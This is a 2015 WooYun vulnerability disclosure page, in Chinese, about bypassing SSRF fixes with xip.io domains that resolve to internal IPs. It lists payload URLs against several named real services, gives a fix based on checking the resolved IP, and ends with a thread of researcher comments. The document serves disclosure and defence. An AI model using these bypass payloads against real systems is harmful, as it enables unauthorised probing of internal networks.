当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-099135

漏洞标题:乌云多数已修复SSRF漏洞可被绕过

相关厂商:众多厂商

漏洞作者: Mr .LZH

提交时间:2015-03-03 00:11

修复时间:2015-04-17 00:12

公开时间:2015-04-17 00:12

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-03: 细节已通知厂商并且等待厂商处理中
2015-03-06: 厂商已经确认,细节仅向厂商公开
2015-03-16: 细节向核心白帽子及相关领域专家公开
2015-03-26: 细节向普通白帽子公开
2015-04-05: 细节向实习白帽子公开
2015-04-17: 细节向公众公开

简要描述:

思路猥琐,绕过厂商以为完美修复的绝对防御,再附赠一个绝对防御方法。
让雷把我劈死吧。

详细说明:

针对SSRF漏洞,一般修复的时候是获取到提交的url,获得hosts,判断host是否为内网ip。
于是有这种情况:
例如http://127.0.0.1/asd.html,修复时容易出现的获取host时以/分割来确定host。
但这样可以用http://abc@127.0.0.1/这样绕过。例如: WooYun: 人人网某处SSRF漏洞可猜解内网
或者加一个端口绕过。例如: WooYun: 内网编织者百度内网手动编织!
所以这种情况需要进一步过滤,取@后面的内容和端口后作为host进行判断。
大部分厂商修复的时候都是按照这样的思路。所以出现了下面的绕过方法。
如果把test.com指向内网地址,则完全可以提交test.com绕过前面的过滤,探测内网。
搜索了一下wooyun有史以来提交的SSRF,进行验证。
很多厂商直接取消了相应功能,还有部分成功修复漏洞,但只占少数。
先科普一下一个可以指向任意ip的域名:xip.io
用法:
10.0.0.1.xip.io 10.0.0.1
www.10.0.0.1.xip.io 10.0.0.1
mysite.10.0.0.1.xip.io 10.0.0.1
foo.bar.10.0.0.1.xip.io 10.0.0.1
于是测试了一下,以下地址SSRF漏洞可被绕过。
http://tp.chinaso.com/web?url=http://www.10.10.0.179.xip.io&fr=client

1.jpg


http://widget.renren.com/dialog/share?resourceUrl=http://www.10.10.16.224.xip.io

2.jpg


http://share.renren.com/share/buttonshare.do?link=http://www.10.10.16.224.xip.io

3.jpg


http://note.youdao.com/memory/?url=http://www.10.120.182.20aaa.xip.io

4.jpg


http://qing.blog.sina.com.cn/blog/controllers/share.php?url=www.127.0.0.1.xip.io/asd.html

5.jpg

漏洞证明:

修复方案:

针对SSRF的修复,可以直接获取url对应的ip,如果是ip,返回的依然是ip,域名则返回对应ip,然后再对ip进行判断是否为内网ip,即可防御SSRF内网探测。

版权声明:转载请注明来源 Mr .LZH@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-03-06 22:00

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2015-03-03 00:33 | zcy ( 实习白帽子 | Rank:93 漏洞数:15 )

    302跳转?

  2. 2015-03-03 00:44 | Mr .LZH ( 普通白帽子 | Rank:583 漏洞数:75 | 非妹子勿扰···)

    @zcy 302是不可能实现的,因为服务端只请求一次提交的url,返回了302会直接返回给用户。

  3. 2015-03-03 00:58 | Hancock ( 普通白帽子 | Rank:352 漏洞数:68 )

    我猜是短地址!

  4. 2015-03-03 01:02 | Mr .LZH ( 普通白帽子 | Rank:583 漏洞数:75 | 非妹子勿扰···)

    @Hancock 短地址同样是属于跳转,需要二次请求

  5. 2015-03-03 01:05 | zcy ( 实习白帽子 | Rank:93 漏洞数:15 )

    @Mr .LZH 求思路

  6. 2015-03-03 07:55 | bey0nd ( 普通白帽子 | Rank:895 漏洞数:142 | 相忘于江湖,不如相濡以沫)

    好思路。先去试试

  7. 2015-03-03 08:59 | 齐迹 ( 核心白帽子 | Rank:784 漏洞数:100 | 一名普通的phper开发者,关注web安全。)

    前排学习!

  8. 2015-03-03 09:06 | 蜉蝣 ( 实习白帽子 | Rank:93 漏洞数:24 )

    要霹雷了

  9. 2015-03-03 09:14 | Vinc ( 普通白帽子 | Rank:120 漏洞数:22 | :))

    .

  10. 2015-03-03 09:29 | he1renyagao ( 普通白帽子 | Rank:225 漏洞数:29 | 是金子总会发光,在还未发光之前,先打磨打...)

    @Hancock 不应该是短地址。

  11. 2015-03-03 09:45 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    噢~?

  12. 2015-03-03 10:02 | 紫霞仙子 ( 普通白帽子 | Rank:2027 漏洞数:279 | 天天向上 !!!)

    坐等公开

  13. 2015-03-03 10:21 | Taro ( 普通白帽子 | Rank:178 漏洞数:48 | 走向最远的方向,哪怕前路迷茫;抱着最大的...)

    又是一大波啊

  14. 2015-03-03 10:39 | 无名 ( 实习白帽子 | Rank:41 漏洞数:9 | 我是一只小菜鸟呀,伊雅伊尔哟。)

    啪啪啪,啪啪啪。

  15. 2015-03-04 20:00 | 末影人 ( 实习白帽子 | Rank:35 漏洞数:9 | 末影人(Enderman)是一个三个方格高的人形生...)

    @跳转?

  16. 2015-03-06 22:30 | pangshenjie ( 普通白帽子 | Rank:110 漏洞数:14 )

    @Mr .LZH 很多用302短网址是可以的。

  17. 2015-03-06 23:36 | Mr .LZH ( 普通白帽子 | Rank:583 漏洞数:75 | 非妹子勿扰···)

    呜呜~~8rank,早知道拆分开提交算了。

  18. 2015-03-07 00:37 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    反正又不能转账

  19. 2015-03-07 08:25 | 炮灰乙 ( 路人 | Rank:6 漏洞数:4 | 我叫路人甲,我住在中国)

    看标题以为乌云官方有许多SSRF漏洞但是都没修好

  20. 2015-03-07 16:31 | Fire ant ( 实习白帽子 | Rank:73 漏洞数:26 | 他们回来了................)

    要霹雷了

  21. 2015-03-08 18:15 | 炮灰乙 ( 路人 | Rank:6 漏洞数:4 | 我叫路人甲,我住在中国)

    是不是dns指向局域网ip

  22. 2015-03-08 22:13 | jsbug ( 普通白帽子 | Rank:117 漏洞数:16 )

    @炮灰乙 听起来好机智哦,我要等公开..

  23. 2015-03-16 23:03 | 齐迹 ( 核心白帽子 | Rank:784 漏洞数:100 | 一名普通的phper开发者,关注web安全。)

    学习了!

  24. 2015-03-22 10:09 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    思路挺好的

  25. 2015-03-27 11:13 | BMa ( 普通白帽子 | Rank:1776 漏洞数:200 )

    @梧桐雨 大神,指点一下我

  26. 2015-03-27 11:17 | BMa ( 普通白帽子 | Rank:1776 漏洞数:200 )

    @梧桐雨 莫非这个网站的DNS是这么配置的,以这种格式去查询的dns请求都返回一个可控的地址,这样就可以控制DNS请求的结果,而SSRF端又没有对查询返回的结果进行判断?

  27. 2015-03-27 11:24 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    @BMa 你没看到细节吗?

  28. 2015-03-27 11:30 | BMa ( 普通白帽子 | Rank:1776 漏洞数:200 )

    @梧桐雨 看到了,但是一下没想请XIP.IO这个网站是怎么实现的,整理了一下,你看看有什么问题:原本的防护思路:获取到提交的url,获得hosts文件记录,判断host是否为内网ip,如果不是则发起请求。如果没有hosts记录,就发起DNS查询,访问DNS查询返回的结果<这里没有判定DNS请求结果>获取提交的IP,判断是否为内网ip,如果不是则发起请求绕过思路:利用外部DNS服务器,控制DNS查询的返回内容。xip.ip这个网站接受某种格式的URL,或者二级域名,在DNS请求中返回其二级域名的IP,从而使得对该域名DNS请求的内容可控SSRF端在得到DNS请求的相应后,没有重新判定查询结果是否为内网IP,即发起请求针对SSRF的修复:直接获取url对应的ip,如果是ip,返回的依然是ip,域名则返回对应ip,然后再对ip进行判断是否为内网ip

  29. 2015-03-27 11:31 | BMa ( 普通白帽子 | Rank:1776 漏洞数:200 )

    @梧桐雨 一句话,就是没有判定DNS查询的内容,认为DNS查询的结果都是外网的,而通过某种方式可以控制DNS请求的返回为内网

  30. 2015-03-27 12:18 | Mr .LZH ( 普通白帽子 | Rank:583 漏洞数:75 | 非妹子勿扰···)

    @梧桐雨 @BMa 你们要不要这么露点啊,这个洞没加精我都郁闷死了

  31. 2015-03-27 12:26 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    @Mr .LZH 我没漏点哇,@BMa 差不多是这么个意思,挺不错的。

  32. 2015-03-27 19:03 | 炮灰乙 ( 路人 | Rank:6 漏洞数:4 | 我叫路人甲,我住在中国)

    其实外部dns指向内网地址本来是很正常的,我就看见360一个二级域名ping出来10开头。这应该被考虑到

  33. 2015-04-17 10:35 | M4st ( 路人 | Rank:0 漏洞数:1 | 淡退安全 创业Ing~~)

    6666

  34. 2015-06-12 18:19 | imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )

    机智。。。